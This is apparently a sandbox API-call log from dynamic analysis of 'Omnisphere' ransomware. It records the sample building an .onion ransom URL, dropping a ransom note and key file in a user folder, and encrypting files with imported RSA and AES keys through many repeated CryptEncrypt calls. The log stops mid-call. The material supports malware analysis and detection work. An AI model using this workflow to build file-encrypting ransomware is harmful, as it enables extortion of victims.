[0128.084] GetProcessHeap () returned 0x1600000 [0128.084] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710660 [0128.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710660, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.084] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.084] GetProcessHeap () returned 0x1600000 [0128.084] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16fb638 [0128.084] PathCombineW (in: pszDest=0x16fb638, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.084] GetProcessHeap () returned 0x1600000 [0128.084] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x170ade8 [0128.084] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.084] WriteFile (in: hFile=0x288, lpBuffer=0x170ade8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x170ade8*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.085] CloseHandle (hObject=0x288) returned 1 [0128.085] GetProcessHeap () returned 0x1600000 [0128.085] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16fc738 | out: hHeap=0x1600000) returned 1 [0128.085] GetProcessHeap () returned 0x1600000 [0128.085] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0128.085] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0128.085] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.085] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.085] CloseHandle (hObject=0x288) returned 1 [0128.085] GetProcessHeap () returned 0x1600000 [0128.085] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0128.086] GetProcessHeap () returned 0x1600000 [0128.086] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.086] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37f27bc, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x37f27bc, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2ab71fd0, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0xcc, cFileName="7e4dca80246863e3.automaticDestinations-ms", cAlternateFileName="7E4DCA~1.AUT")) returned 1 [0128.086] GetProcessHeap () returned 0x1600000 [0128.086] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0128.086] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="7e4dca80246863e3.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms" [0128.086] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0128.086] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\7e4dca80246863e3.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.087] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=8192) returned 1 [0128.087] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x1adc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.087] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0128.088] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2000, lpName=0x0) returned 0x3c0 [0128.088] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0128.088] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.088] CloseHandle (hObject=0x3c0) returned 1 [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.089] GetTickCount () returned 0x115ff4c [0128.090] GetTickCount () returned 0x115ff4c [0128.090] GetTickCount () returned 0x115ff4c [0128.090] GetTickCount () returned 0x115ff4c [0128.090] GetTickCount () returned 0x115ff4c [0128.090] GetTickCount () returned 0x115ff4c [0128.090] GetTickCount () returned 0x115ff4c [0128.090] GetTickCount () returned 0x115ff4c [0128.090] GetTickCount () returned 0x115ff4c [0128.090] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668928) returned 1 [0128.091] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b68) returned 1 [0128.091] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.091] CryptDestroyKey (hKey=0x1639b68) returned 1 [0128.091] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0128.091] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2000, lpName=0x0) returned 0x3c0 [0128.091] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2000) returned 0x1480000 [0128.093] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668c58) returned 1 [0128.094] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b68) returned 1 [0128.094] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.094] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.094] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.094] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.094] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.094] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.094] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.094] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.094] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.094] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.094] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.094] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.094] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.095] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.095] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.095] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.095] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.095] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.095] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.095] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.095] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.095] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.095] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.095] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.095] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.095] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.095] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.095] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.095] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.095] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.095] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.095] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.096] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.096] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.096] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.096] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.096] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.096] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.096] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.096] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.096] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.096] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.096] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.096] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.096] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.096] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.096] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.096] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.096] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.096] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.097] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.097] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.097] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.097] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.097] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.097] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.097] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.097] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.097] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.097] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.097] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.097] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.097] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.097] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.097] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.097] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.097] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 